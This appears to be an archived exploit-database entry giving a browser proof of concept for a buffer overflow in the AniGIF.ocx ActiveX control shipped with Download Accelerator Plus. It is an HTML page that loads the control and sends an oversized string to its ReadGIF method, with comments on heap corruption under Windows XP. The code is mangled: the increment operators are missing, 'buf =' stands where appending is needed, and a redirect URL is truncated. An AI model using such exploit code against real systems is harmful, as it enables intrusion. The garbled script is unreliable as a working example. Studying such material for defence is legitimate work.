Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC

时间：2021-05-25

<html>
<body>
<object classid='clsid:82351441-9094-11D1-A24B-00A0C932C7DF' id='target' />
</object>
<script language=javascript>
// anigif.ocx by can be found distribuited with some applications,
// I found it in Download Accelerator Plus 6.8.
// DAP comes with an old version, but the last from jcomsoft is also vulnerable:
// there's a stack-based buffer overflow in the ReadGIF and ReadGIF2 methods,
// the funny thing is that after the first exception that will be handled by IE,
// when the object is released we reach RtlpCoalesceFreeBlocks owning eax and ecx
// with windogs xp sp1 or the second check of safe-unlink with sp2 in a standard heap
// overflow scenario.
var buf;
for (var i=0; i<259; i ) buf = "X";
buf ="BBBB";
buf = "CCCC";
for (var i=0; i<5728; i ) buf = "H";
target.ReadGIF(buf);
window.location = "http://";
</script>
</body>
</html>

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